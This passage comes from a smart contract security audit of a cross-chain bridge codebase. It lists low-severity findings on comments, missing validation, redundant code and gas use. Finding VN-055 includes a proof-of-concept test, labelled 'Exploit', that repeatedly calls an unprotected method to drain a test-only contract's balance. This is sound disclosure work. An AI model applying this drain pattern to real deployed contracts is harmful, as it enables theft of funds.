function addToken(address token) external override onlyOwnerOrManager { ... }
```

- `setCanon()` function in `MergePool_V4.tsol`:

```
/// Can be called only by `owner`
function setCanon(address token) external override onlyOwnerOrManager ... { ... }
```

- `enableToken()` function in `MergePool_V4.tsol`:

```
/// Can be called only by `owner`
function enableToken(address token) public override onlyOwnerOrManager ... { ... }
```

- `disableToken()` function in `MergePool_V4.tsol`:

```
/// Can be called only by `owner`
function disableToken(address token) public override onlyOwnerOrManager ... { ... }
```

- `deployMergePool()` function in `ProxyMultiVaultAlien_V7_MergePool.tsol`:

```
/// Can be called only by `owner`
function deployMergePool(uint256 nonce, address[] tokens, uint256 canonId) external override ... { ... }
```

In each case, the comment inaccurately states the access control by suggesting that only the `owner` can invoke these functions.

However, in practice, both the `owner` and `manager` have access.

Impact

The mismatch between documentation and actual code behavior can lead to misunderstandings about the contract's intended behavior. Developers or other stakeholders might make incorrect assumptions based on the inaccurate documentation, which can potentially result in unforeseen risks or issues.

Recommendation

- Update the `@notice` comments in the affected functions to accurately represent the actual behavior.
- Ensure that all comments accurately reflect the code's behavior to provide clarity and prevent potential misunderstandings.

Missing Validation in `DaoRoot.tsol`

Validations are missing within the `DaoRoot.tsol` contract.

ID	VN-084
Paths	./everscale/contracts/dao/DaoRoot.tsol : `constructor()`, `updateEthereumActionEventConfiguration()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Missing Validation
Status	Fixed in b5559c5

Description

Within the `DaoRoot.tsol` contract, there are two functions that miss checks:

1. The constructor is missing a validation for `proposalConfiguration_` struct using `checkProposalConfiguration()` function:

```
constructor(
    TvmCell platformCode_,
    ProposalConfiguration proposalConfiguration_,
    address admin_
) public {
    tvm.accept();
    platformCode = platformCode_;
    proposalConfiguration = proposalConfiguration_;
    admin = admin_;
}
```

2. The `updateEthereumActionEventConfiguration()` function is missing a validation to ensure a minimum value for `newDeployEventValue`.

```
function updateEthereumActionEventConfiguration(
    address newConfiguration,
    uint128 newDeployEventValue
) override public onlyAdmin {
    emit EthereumActionEventConfigurationUpdated(
        ethereumActionEventConfiguration,
        newConfiguration,
        deployEventValue,
        newDeployEventValue
    );
    ethereumActionEventConfiguration = newConfiguration;
    deployEventValue = newDeployEventValue;
    admin.transfer({value: 0, flag: MsgFlag.REMAINING_GAS});
}
```

Impact

1. Lack of checks on `proposalConfiguration_` can lead to incorrect configuration being set, which can affect the contract's expected behavior and potentially open up avenues for exploits.
2. Not enforcing a minimum value for `newDeployEventValue` can lead to unintentional behavior, potentially causing system-wide issues if set to an undesired value.

Recommendation

1. Implement a check using `checkProposalConfiguration()` function within the constructor to ensure `proposalConfiguration_` is valid.
2. Add a check in the `updateEthereumActionEventConfiguration()` function to ensure that `newDeployEventValue` meets the minimum required value.

NatSpec Contradiction in `setTokenDepositFee()` Function

A discrepancy exists between the NatSpec comment and the actual code.

ID	VN-072
Paths	./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetFees.sol `setTokenDepositFee()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Requirement Violation
Status	Mitigated in b5559c5
Resolution	After implementation changes, `setTokenDepositFee()` and `setTokenWithdrawFee()` functions are now restricted to `onlyGovernance`.

Description

According to the NatSpec, the function should be accessible by owner or management. However, actually, it is accessible by governance or management.

```
/// This may be called only by `owner` or `management`
function setTokenDepositFee(...) ... onlyGovernanceOrManagement { ... }
```

Impact

Documentation mismatch may lead to incorrect assumptions about the code behavior.

Recommendation

Update the NatSpec comment or replace the access control modifier with the mentioned one.

Unsupported ERC20 Tokens with Zero Decimals

The `_setTokenStatus()` function in the `MergePool_V4.tsol` contract have a validation check to ensure that the ERC20 tokens' decimal value is not zero.

ID	VN-091
Paths	./everscale/contracts/bridge/alien-token-merge/merge-pool/MergePool_V4.tsol : `_setTokenStatus()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	EIP Standard Violation
Status	Acknowledged

Description

The `_setTokenStatus()` function contains a validation check to ensure that the ERC20 token's `decimals` value is not zero, this check contradicts the ERC-20 standard.

According to the standard, the `decimals` getter function is optional and not mandatory, as explained in https://eips.ethereum.org/EIPS/eip-20.

Impact

The current implementation of the bridge does not support some ERC-20 tokens; however, setting no decimals is not a common practice nowadays.

Recommendation

Rework the logic to support ERC20 tokens with a zero decimal, or clarify the requirement to mitigate the issue. It is essential to ensure compatibility with all ERC-20 tokens to enhance the bridge's functionality and user experience.

Missing Zero Address Checks in `DaoRoot.tsol`

The `DaoRoot.tsol` contract has missing checks for zero addresses, posing potential vulnerabilities or issues.

ID	VN-085
Paths	./everscale/contracts/dao/DaoRoot.tsol : `constructor()`, `setStakingRoot()`, and `updateEthereumActionEventConfiguration()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Missing Validation
Status	Fixed in b5559c5

Description

Several functions within the `DaoRoot.tsol` contract lack crucial checks for zero addresses, which can be a common oversight leading to potential vulnerabilities or undesired behaviors.

1. **constructor**
   The `constructor` lacks a check for a zero address for the `admin_` parameter.

```
constructor(
    TvmCell platformCode_,
    ProposalConfiguration proposalConfiguration_,
    address admin_
) public {
    tvm.accept();
    platformCode = platformCode_;
    proposalConfiguration = proposalConfiguration_;
    admin = admin_;
}
```

2. **setStakingRoot**
   The `setStakingRoot()` function does not check for a zero address for the `newStakingRoot` parameter.

```
function setStakingRoot(address newStakingRoot) override public onlyAdmin {
    emit StakingRootUpdated(stakingRoot, newStakingRoot);
    stakingRoot = newStakingRoot;
    admin.transfer({value: 0, flag: MsgFlag.REMAINING_GAS});
}
```

3. **updateEthereumActionEventConfiguration**
   The `updateEthereumActionEventConfiguration()` function is missing a zero address check for the `newConfiguration` parameter.

```
function updateEthereumActionEventConfiguration(
    address newConfiguration,
    uint128 newDeployEventValue
) override public onlyAdmin {
    emit EthereumActionEventConfigurationUpdated(
        ethereumActionEventConfiguration,
        newConfiguration,
        deployEventValue,
        newDeployEventValue
```

```
    );
    ethereumActionEventConfiguration = newConfiguration;
}
```

Impact

Permitting the utilization of the zero address in contract functionalities can lead to unforeseen issues and system malfunctions. The zero address is conventionally recognized as a null or non-initialized address in Ethereum-based systems. Any operations involving the zero address, especially assignments or transfers, can become irreversible, potentially resulting in assets becoming inaccessible or certain functionalities becoming permanently compromised. Additionally, it might give a false sense of successful operation execution when, in reality, the operation might have unintended consequences due to the lack of a valid address.

Recommendation

Introduce zero address checks in all the aforementioned functions before proceeding with any assignments.

Missing Zero Address Validation

Some functions within the contracts lack validation for zero address, potentially allowing some variables to be set to uninitialized values.

ID	VN-088
Paths	./everscale/contracts/bridge/hidden-bridge/EventDeployer.tsol : `constructor()` ./everscale/contracts/bridge/hidden-bridge/EventCloser.tsol : `constructor()` ./everscale/contracts/bridge/hidden-bridge/Mediator.tsol : `constructor()`, `setNativeProxy()`, `setCreditBackend()`
Commit	f739553
Severity	LOW
Vulnerability Type	Missing Validation
Status	Fixed in b5559c5

Description

Some functions within the contracts of the `hidden-bridge` system are missing a check to validate zero addresses, meaning the input value may not be handled correctly.

Without this check, there could be mistakes or intentional malicious actions that prevent certain functions from working properly. It's advised to add this check to ensure processes run consistently.

Impact

Without proper validation, an accidental or malicious setting might lead to function inoperability.

Recommendation

- Implement checks to prevent the `_guardian`, `_owner`, `_deployer`, `_nativeProxy`, `_eventCloser`, `_eventCloser`, `_eventDeployer`, `_alienTokenWalletPlatformCode` from being set to zero address.

`TODO` Comments in Production Code

Presence of 'TODO' comments in the production-ready contracts.

ID	VN-073
Paths	./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetWithdraw.sol ./everscale/contracts/bridge/event-contracts/base/BaseEvent.tsol ./everscale/contracts/utils/ErrorCodes.tsol
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Code Quality
Status	Fixed in b5559c5

Description

Several contracts in the project, including `BaseEvent.tsol`, `ErrorCodes.tsol`, and `MultiVaultFacetWithdraw.sol`, have been identified to contain 'TODO' comments.

'TODO' comments are typically used by developers as reminders for features, optimizations, or fixes that should be addressed at a later stage. These comments should ideally not be present in production-ready code as they can indicate unresolved tasks, possible incomplete features, or areas that require further attention.

Impact

- **Potential Code Incompleteness**: These comments might represent sections of the code that haven't been fully implemented or have outstanding tasks.
- **Performance and Efficiency**: 'TODO' comments may indicate areas that were earmarked for optimization, and unaddressed comments could mean there are inefficiencies.

Recommendation

- Review all 'TODO' comments in the identified contracts.
- Address and implement the necessary changes based on the comments, if required.
- If a 'TODO' comment is outdated or no longer relevant, remove it from the code.
- Ensure that any action taken or removal of the 'TODO' comment aligns with the project's current requirements and goals.

Contract Name Reuse

Certain contracts within the codebase share identical names, which may cause complications during the compilation process, potentially omitting one of the identically named contracts from the compilation artifacts.

ID	VN-005
Paths	./ethereum/contracts/libraries/Context.sol ./ethereum/contracts/multivault/utils/Context.sol ./ethereum/contracts/multivault/libraries/Context.sol

	./ethereum/contracts/multivault/utils/ReentrancyGuard.sol ./ethereum/contracts/utils/ReentrancyGuard.sol ./ethereum/contracts/multivault/utils/Initializable.sol ./ethereum/contracts/utils/Initializable.sol ./ethereum/contracts/multivault/interfaces/IBridge.sol ./ethereum/contracts/interfaces/IBridge.sol ./ethereum/contracts/interfaces/IERC20.sol ./ethereum/contracts/multivault/interfaces/IERC20.sol ./ethereum/contracts/interfaces/IERC20Metadata.sol ./ethereum/contracts/multivault/interfaces/IERC20Metadata.sol ./ethereum/contracts/interfaces/IEverscale.sol ./ethereum/contracts/multivault/interfaces/IEverscale.sol
Commit	f739553
Impact	Low
Likelihood	Low
Severity	**LOW**
Vulnerability Type	Compilation and Deployment
Status	Fixed in b5559c5

Description

Duplicate contract names within a Solidity project can create issues during the compilation phase. When multiple contracts have the same name, the compiler's artifacts may only contain one of the contracts, potentially omitting the other(s). This can lead to unexpected behavior, especially if developers are unaware of this overlap.

In the provided codebase, the following pairs of contracts share the same name:

- `Context.sol` at ./ethereum/contracts/libraries/Context.sol, ./ethereum/contracts/multivault/utils/Context.sol and ./ethereum/contracts/multivault/libraries/Context.sol
- `ReentrancyGuard.sol` at ./ethereum/contracts/multivault/utils/ReentrancyGuard.sol and ./ethereum/contracts/utils/ReentrancyGuard.sol
- `Initializable.sol` at ./ethereum/contracts/multivault/utils/Initializable.sol and ./ethereum/contracts/utils/Initializable.sol
- `IBridge.sol` at ./ethereum/contracts/interfaces/IBridge.sol and ./ethereum/contracts/multivault/interfaces/IBridge.sol
- `IERC20.sol` at ./ethereum/contracts/interfaces/IERC20.sol and ./ethereum/contracts/multivault/interfaces/IERC20.sol
- `IERC20Metadata.sol` at ./ethereum/contracts/interfaces/IERC20Metadata.sol and ./ethereum/contracts/multivault/interfaces/IERC20Metadata.sol
- `IEverscale.sol` at ./ethereum/contracts/interfaces/IEverscale.sol and ./ethereum/contracts/multivault/interfaces/IEverscale.sol

Impact

- Possible omission of one of the identically named contracts during the compilation process.
- Potential confusion for developers when referring to or importing these contracts.
- Unexpected behavior if the intended contract is not the one included in the compilation artifacts.

Recommendation

- Rename or remove one of the contracts in each pair to ensure unique names throughout the codebase.
- Consider establishing naming conventions or guidelines to avoid such overlaps in the future.

Contradictory Documentation on Event Confirmation and Rejection

Inconsistent behavior between developer comments and actual function logic regarding when events can be confirmed or rejected.

ID	VN-076
Paths	./everscale/contracts/bridge/event-contracts/base/evm/EverscaleEthereumBaseEvent.tsol : `confirm()`, `reject()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Requirement Violation
Status	Fixed in b5559c5

Description

The `EverscaleEthereumBaseEvent` contract contains the `confirm()` and `reject()` functions, both intended for the confirmation or rejection of events.

The developer comment for the `confirm()` function claims that the function *"Can be called only when event configuration is in Pending status"*. However, within the function body, there is no such restriction implemented immediately. The actual status check is conducted later within the function. This mismatch between the comment's assertion and the actual function behavior may lead to misunderstandings and potential vulnerabilities.

The same inconsistency was observed in the `reject()` function.

Impact

Misleading developer comments may lead to incorrect assumptions about the code behavior, potentially resulting in undetected vulnerabilities or unexpected side effects.

Recommendation

- Begin the `confirm()` and `reject()` functions with a direct status check to restrict their invocations solely to the `Pending` status, if that is the intended behavior.
- Update developer comments to provide accurate descriptions that align with the actual logic of the functions.

Hardcoded Values and Magic Numbers in `StakingBase.tsol` Contract Initialization of `RelayConfigDetails`

The presence of hardcoded values during the initialization of the `RelayConfigDetails` struct that should ideally be replaced with named constants for clarity and maintainability.

ID	VN-077
Paths	./everscale/contracts/staking/base/StakingBase.tsol : `RelayConfigDetails`
Commit	f739553

Impact	Low
Likelihood	Low
Severity	**LOW**
Vulnerability Type	Contract Maintainability / Code Quality
Status	Fixed in b5559c5

Description

In the `StakingBase.tsol` contract, the `RelayConfigDetails` struct is defined with various fields. However, when initializing this struct, multiple hardcoded values are provided without clear context:

```
RelayConfigDetails relay_config = RelayConfigDetails(
    30 days, 7 days, 2 days, 4 days, 1 hours, 30, 13, 100000 * 10**9, 500 ever, 1000000, 1000000
);
```

The RelayConfigDetails struct is as follows:

```
struct RelayConfigDetails {
    uint32 relayLockTime;
    uint32 relayRoundTime;
    uint32 electionTime;
    uint32 timeBeforeElection;
    uint32 minRoundGapTime;
    uint16 relaysCount;
    uint16 minRelaysCount;
    uint128 minRelayDeposit;
    uint128 relayInitialTonDeposit;
    uint128 relayRewardPerSecond;
    uint128 userRewardPerSecond;
}
```

Direct usage of magic numbers during instantiation makes it less clear what each value represents, making the contract harder to read, and potentially leading to errors during future modifications.

Impact

Using hardcoded values without context can reduce code readability, making it challenging for developers to understand the significance or intent behind each value. It might also lead to mistakes when changes are needed in the future.

Recommendation

Define constants for all hardcoded values. Doing so provides clarity and context, making the code more readable and maintainable.

For example:

```
uint32 constant RELAY_LOCK_TIME = 30 days;
uint32 constant RELAY_ROUND_TIME = 7 days;
// ... other constants ...
RelayConfigDetails relayConfig = RelayConfigDetails(
    RELAY_LOCK_TIME, RELAY_ROUND_TIME, ...
);
```

Inaccurate Comment on Relay Membership Lock Time in `UserData.tsol`

The comment in the `relayMembershipRequestAccepted` function of the UserData.tsol contract inaccurately indicates that the relay lock time is a hardcoded "30 days", whereas in reality, it is calculated based on the sum of electionTime and relayLockTime from the configuration.

ID	VN-078
Paths	./everscale/contracts/staking/UserData.tsol : `relayMembershipRequestAccepted()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Inconsistent Documentation & Logic
Status	Fixed in b5559c5

Description

In the `UserData.tsol` contract, the function `relayMembershipRequestAccepted()` contains a comment that inaccurately states the relay membership lock duration:

```
// lock for 30 days
relay_lock_until = now + lock_time;
```

However, the actual calculation for the `lock_time` variable, as found in the `processBecomeRelayNextRound()` function of the `StakingRelay.tsol` contract:

```
uint32 lock_time = relay_config.electionTime + relay_config.relayLockTime;
```

This discrepancy can lead to confusion or misunderstanding about how the Relay membership lock time is determined.

Impact

The inaccurate comment can mislead and create confusion about the actual behavior of the code. Comments should accurately reflect the code's behavior to ensure that the contract's logic is correctly understood.

Recommendation

Correct the comment in the `relayMembershipRequestAccepted()` function to accurately represent the computation of the `lock_time`.

Missing Encoder for Everscale to Ethereum `StakingEventData`

The contract lacks an encoder for Everscale to Ethereum `StakingEventData`.

ID	VN-092
Paths	./everscale/contracts/utils/cell-encoder/StakingCellEncoder.tsol
Commit	f739553

Impact	Low
Likelihood	Low
Severity	**LOW**
Vulnerability Type	Code Inconsistency
Status	Acknowledged

Description

The `StakingCellEncoder.tsol` contract includes methods for decoding data between Everscale and Ethereum. However, an encoder function for Everscale to Ethereum `StakingEventData` is missing.

Impact

Without this encoder, users cannot natively encode data for Everscale to Ethereum staking events within the contract getter function.

Recommendation

Add an encoder function to handle Everscale to Ethereum `StakingEventData` in the contract.

Missing Visibility Modifiers

State variables and constants within the code lacks explicit visibility modifiers.

ID	VN-018
Paths	./ethereum/contracts/utils/UnwrapNativeToken.sol ./ethereum/contracts/multivault/multivault/storage/DiamondStorage.sol ./ethereum/contracts/multivault/multivault/storage/MultiVaultStorage.sol ./ethereum/contracts/multivault/multivault/storage/MultiVaultStorageInitializable.sol ./ethereum/contracts/multivault/multivault/storage/MultiVaultStorageReentrancyGuard.sol
Commit	f739553
Impact	Low
Likelihood	Low
Severity	**LOW**
Vulnerability Type	Style Guide Violation
Status	Fixed in b5559c5

Description

This issue pertains to variables and constants within the code that lack explicit visibility modifiers. In Solidity, specifying the visibility of variables and constants is crucial for clarity and safety.

Impact

- **Code Cleanliness**: The absence of explicit visibility specifiers can lead to readability issues within the codebase.

Recommendation

Explicitly specify the visibility of variables and constants in the code.

Not Explicit Interface Usage

The `IEthereumEverscaleEventConfiguration.BasicConfiguration` and `IEverscaleEthereumEventConfiguration.BasicConfiguration` interfaces are used instead of `IBasicEventConfiguration.BasicConfiguration` in multiple places.

ID	VN-063
Paths	./everscale/contracts/bridge/event-contracts/multivault/evm/MultiVaultEVMEverscaleEventNative.tsol: `receiveConfigurationDetails()` ./everscale/contracts/bridge/event-contracts/multivault/evm/MultiVaultEVMEverscaleEventAlien.tsol: `receiveConfigurationDetails()` ./everscale/contracts/bridge/interfaces/event-contracts/multivault/evm/IMultiVaultEVMEverscaleEventAlien.tsol: `receiveConfigurationDetails()` ./everscale/contracts/bridge/interfaces/event-contracts/multivault/evm/IMultiVaultEVMEverscaleEventNative.tsol: `receiveConfigurationDetails()` ./everscale/contracts/bridge/factory/EthereumEverscaleEventConfigurationFactory: `deploy()`, `deriveConfigurationAddress()` ./everscale/contracts/bridge/factory/EverscaleEthereumEventConfigurationFactory.tsol: `deploy()`, `deriveConfigurationAddress()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Code Quality
Status	Fixed in b5559c5

Description

The issue at hand arises from a failure to use the explicit interface `IBasicEventConfiguration.BasicConfiguration`.

Instead, the code references both `IEverscaleEthereumEventConfiguration.BasicConfiguration` and `IEthereumEverscaleEventConfiguration.BasicConfiguration`.

Impact

This inconsistency in interface usage may lead to ambiguities and potential issues with the code's functionality.

Recommendation

To resolve this issue and ensure code clarity and reliability, it is recommended to replace all instances of `IEverscaleEthereumEventConfiguration.BasicConfiguration` and `IEthereumEverscaleEventConfiguration.BasicConfiguration` with the consistent use of `IBasicEventConfiguration.BasicConfiguration` throughout the codebase.

Possible Not Implemented `Emergency Shutdown` Functionality in `Bridge.sol`

The system contains unused event and variable, potentially indicating unimplemented `Emergency Shutdown` functionality.

ID	VN-065
Paths	./ethereum/contracts/bridge/Bridge.sol : `emergencyShutdown` ./ethereum/contracts/interfaces/IBridge.sol : `EmergencyShutdown`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Redundant Code
Status	Fixed in b5559c5

Description

Due to the project's modular structure, some previously used event and variable have become obsolete, or some functionality was not finalized and was abandoned by developers.

However, the unused event and variable still remain in the codebase, causing unnecessary redundancy.

Impact

- **Code Cleanliness**: Redundant event and variable clutter the codebase, making it more difficult for developers to understand the system's functionality. They can also lead to confusion and code maintenance challenges.

Recommendation

Remove the unused event and variable from the smart contract or implement shutdown functionality within the `Bridge.sol` smart contract.

Presence of Unused Test Contracts in Production Codebase

Having `test` or `mock` contracts within the main production codebase can lead to confusion for developers and auditors. Clearly marking them or segregating them from the primary contracts ensures clarity and eases maintenance.

ID	VN-010
Paths	./ethereum/contracts/*
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Unfinalized Code

Status	Fixed in b5559c5

Description

Within the codebase of the MultiVault, DAO, and Bridge contracts, certain contracts appear to be used for testing purposes only. These contracts aren't integrated or utilized in the main production contracts. Their presence within the primary codebase can be a source of confusion.

Impact

- **Codebase Clarity**: Presence of test contracts in the main directory can mislead and confuse developers and auditors trying to understand the core functionalities of the system.
- **Maintenance Issues**: Changes to these test contracts might be mistakenly considered as critical updates, leading to unnecessary maintenance efforts.

Recommendation

- **Review & Identify**: Conduct a thorough review of the codebase to identify all contracts that are exclusively for testing or developmental purposes.
- **Separate Test Contracts**: Move all identified test-specific or mock contracts to a dedicated directory, preferably mock/ or test/, indicating their non-production use.
- **Documentation**: Update the README or associated documentation to highlight the segregation of these test contracts.

Redundant Event Declaration

The system contains unused events within its codebase, resulting in unnecessary redundancy.

ID	VN-064
Path	./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetTokensEvents.sol : `BlacklistTokenAdded` , `BlacklistTokenRemoved`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Redundant Code
Status	Mitigated in b5559c5
Resolution	Redundant event declarations were removed; however, a new redundant event declaration, `UpdateTokenPrefix` , was added.

Description

Due to the project's modular structure, some previously used events have become obsolete or old functionalities were abandoned by developers. However, the unused events still remain in the codebase, causing unnecessary redundancy.

Impact

- **Code Cleanliness**: Redundant events clutter the codebase, making it more difficult for developers to understand the system's functionality. They can also lead to confusion and code maintenance challenges.

Recommendation

Remove the unused events from the smart contract or rework the logic to emit them.

Redundant Functions

The system contains unused functions within its codebase, resulting in unnecessary redundancy and inefficiency.

ID	VN-016
Paths	./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetSettings.sol : `setRewards()`, `rewards()` ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperTokens.sol : `_increaseCash()` ./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetSettings.sol : `rewards()`, `setRewards()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Redundant Code
Status	Fixed in b5559c5

Description

Due to the project's modular structure, some previously used functions have become obsolete as new features were introduced or old functionalities were abandoned by developers. However, the unused functions from these files still remain in the codebase, causing unnecessary redundancy and inefficiency.

Impact

- **Code Cleanliness**: Redundant functions clutter the codebase, making it more difficult for developers to understand the system's functionality. They can also lead to confusion and code maintenance challenges.
- **Gas Usage**: Unused external functions contribute to higher gas expenses during the deployment of smart contracts.

Recommendation

Remove the redundant functions from the smart contracts, including the redundant interfaces and events.

Redundant Import Statements

The system contains redundant import statements within the smart contract codebase.

ID	VN-017
Paths	./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetDeposit.sol: `IMultiVaultFacetTokens.sol`, `IEverscale.sol` ./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetSettings.sol: `MultiVaultStorageInitializable.sol` ./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetTokens.sol: `IMultiVaultFacetTokensEvents.sol`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Redundant Code
Status	Fixed in b5559c5

Description

This issue involves the presence of redundant import statements in the smart contract codebase. These import statements are not utilized or referenced within the system.

Impact

- **Code Cleanliness**: Redundant import statements clutter the codebase, making it more challenging for developers to comprehend the system's functionality.

Recommendation

Remove the redundant import statements from the smart contracts.

Redundant Inheritance of `MultiVaultHelperEverscale` in `MultiVaultFacetFees` Contract

The `MultiVaultFacetFees` contract redundantly inherits from `MultiVaultHelperEverscale`, which is not required and can increase Gas usage. The unnecessary inheritance should be removed to optimize the contract.

ID	VN-068
Paths	./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetFees.sol
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW

Vulnerability Type	Gas Optimization
Status	Fixed in b5559c5

Description

In the `MultiVaultFacetFees` contract, there is an unnecessary inheritance from `MultiVaultHelperEverscale`. This redundancy does not provide any additional functionality to the `MultiVaultFacetFees` contract and can increase Gas usage.

Here is the import statement that includes `MultiVaultHelperEverscale`:

```
import "../helpers/MultiVaultHelperEverscale.sol";
```

And here is the inheritance statement within the `MultiVaultFacetFees` contract:

```
contract MultiVaultFacetFees is MultiVaultHelperEverscale {
    // Contract implementation
}
```

The `MultiVaultFacetFees` contract does not appear to use or extend any functionality from `MultiVaultHelperEverscale`, making this inheritance redundant.

Impact

- **Gas Inefficiency**: Redundant inheritance can increase Gas usage, which is undesirable, especially in blockchain applications where Gas costs are a significant concern.
- **Code Clarity**: Redundant inheritance can make the code less clear and more complex than necessary, potentially confusing developers and maintainers.

Recommendation

To optimize the `MultiVaultFacetFees` contract and improve code clarity redundant inheritance from `MultiVaultHelperEverscale` should be removed.

Redundant State Update in `BaseEvent`

The `setStatusInitializing()` function in the `BaseEvent` contract is designed to update the contract's status to `Initializing`. However, it inherently contains a redundant check and subsequent state assignment, which in effect wastes Gas and does not perform any meaningful operation.

ID	VN-021
Paths	./everscale/contracts/bridge/event-contracts/base/BaseEvent.tsol: `setStatusInitializing()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Gas Usage Inefficiency
Status	Fixed in b5559c5

Description

The `BaseEvent` contract function `setStatusInitializing()` under examination contains a line that checks if `_status` is equal to `Status.Initializing`:

```
function setStatusInitializing() internal {
        require(_status == Status.Initializing, ErrorCodes.WRONG_STATUS);
        _status = Status.Initializing;
    }
```

If the condition holds `true`, the function proceeds to set `_status` to `Status.Initializing`.

This presents an issue where, upon successfully passing the condition, the subsequent assignment operation becomes redundant as `_status` is already `Initializing`. Therefore, every time this function is invoked successfully, it results in wastage of Gas due to this inefficiency.

Impact

Users and systems interacting with this contract will unnecessarily spend extra Gas whenever this function is invoked, even though the state update is redundant. Over time, this can accumulate to significant costs especially if the function is frequently called. Additionally, this could indicate a lack of thorough review or testing of the contract's functions.

Recommendation

- **Condition Evaluation**: Re-evaluate the logic and purpose of this function. If the purpose is truly to only set the `_status` to `Initializing`, the condition check becomes unnecessary.
- **Code Refactoring**: Remove the redundant condition and simply set the _status without any checks. If other logic relies on this check, consider re-designing that segment of the contract.

Test-only Contract Not In Mock/Test Folder

Test contracts are not separated from production code.

ID	VN-055
Paths	./everscale/contracts/utils/Receiver.tsol
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Missing Access Control
Status	Fixed in b5559c5

Description

The `Receiver` contract contains an unprotected function `receiveRoundRelays()` that allows any user to fully reassign the contract storage.

The `Receiver` contract contains an unprotected function `fetchRelays()` that allows anyone to transfer `2 * 10^9` tokens (any amount of times) from the contract balance to an arbitrary address (the destination address should hold a simple contract that may not return the

funds).

- The contract should not be deployed on the mainnet.
- The contract should not be topped up on the mainnet.
- Nothing should rely on the data stored in the contract.

Impact

The contract storage could be rewritten with arbitrary data, and all held funds could be drained. The contract is not intended to be ever deployed to mainnet. The impact is considered to be medium.

Proof of concept

The test demonstrates that anyone is able to disrupt the contract.

```
pragma ever -solidity >= 0.39.0;
pragma AbiHeader pubkey;
pragma AbiHeader expire;
contract MockRound {
    function relayKeysSimple() external pure responsible returns (uint256[]) {
        return {value: 1 ever, bounce: false, flag: 0} new uint256[](0);
    }
}
```

```
import {Contract, Signer} from "locklift";
import {FactorySource} from "../../build/factorySource";
let receiver: Contract<FactorySource["Receiver"]>;
let round: Contract<FactorySource["MockRound"]>;
let signer: Signer;
let attacker: Signer;
describe("Test Receiver contract", async function () {
    before(async () => {
        signer = (await locklift.keystore.getSigner("0"))!;
        attacker = (await locklift.keystore.getSigner("1"))!;
    });
    describe("Contracts", async function () {
        it("Deploy", async function () {
            const {contract: c1} = await locklift.factory.deployContract({
                contract: "Receiver",
                publicKey: signer.publicKey,
                initParams: {
                    _randomNonce: locklift.utils.getRandomNonce(),
                },
                constructorParams: {},
                value: locklift.utils.toNano(20),
            });
            receiver = c1;
            const {contract: c2} = await locklift.factory.deployContract({
                contract: "MockRound",
                publicKey: attacker.publicKey,
                initParams: {
                    _randomNonce: locklift.utils.getRandomNonce(),
                },
                constructorParams: {},
                value: locklift.utils.toNano(10),
            });
            round = c2;
        });
        it("Exploit", async function () {
            console.log("Initial Receiver balance", locklift.utils.fromNano(await locklift.provider.getBalance(receiver
            console.log("Initial MockRound balance", locklift.utils.fromNano(await locklift.provider.getBalance(round.ac
            for (let i = 0; i < 15; i++) {
                await receiver.methods
                    .fetchRelays({roundContract: round.address})
                    .sendExternal({publicKey: attacker.publicKey});
```

```
            }
            console.log("Result Receiver balance", locklift.utils.fromNano(await locklift.provider.getBalance(receiver.a
            console.log("Result MockRound balance", locklift.utils.fromNano(await locklift.provider.getBalance(round.ad
        });
    });
});
```

Recommendation

1. Remove unused contracts.
2. Protect each method with proper access control, prevent contract from processing arbitrary external calls.

Unused Modifiers

Unused modifiers are present in the production code.

ID	VN-022
Paths	./everscale/contracts/bridge/event-contracts/base/BaseEvent.tsol: `onlyInitializer()`, `eventNotRejected()`, `eventInitializing()` ./everscale/contracts/utils/TransferUtils.tsol: `transferAfter()`, `transferAfterRest()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Gas Usage Inefficiency
Status	Fixed in b5559c5

Description

Upon review of the smart contract code, certain modifiers have been identified that are not utilized in any of the contract functions. While these unused modifiers may not directly introduce functional vulnerabilities, their mere presence in the codebase can lead to several issues:

- **Code Clarity**: Unused code, including modifiers, can confuse developers and reviewers, leading to potential misunderstandings about the contract's functionality.
- **Deployment Cost**: Every line of code, even if not executed, contributes to the gas cost during contract deployment.
- **Maintenance Overhead**: As the codebase evolves, unused components can become a maintenance burden.

Impact

The primary impact of unused modifiers is a degradation in code clarity and quality. For developers or auditors unfamiliar with the codebase, deciphering the relevance of these modifiers can waste time. Additionally, there is a minor increase in gas costs upon deployment of the contract.

Recommendation

- **Code Cleanup**: Thoroughly review the contract to confirm that the identified modifiers are indeed unused. Once confirmed, these should be removed from the codebase.

Commented-out Code in `ProxyMultiVaultAlien_V7.tsol` Contract

A section of the code in the `onCodeUpgrade()` function in `ProxyMultiVaultAlien_V7.tsol` contract has a commented-out code `tvm.resetStorage();`.

ID	VN-083
Paths	./everscale/contracts/bridge/proxy/multivault/alien/V7/ProxyMultiVaultAlien_V7.tsol : `onCodeUpgrade()`
Commit	f739553
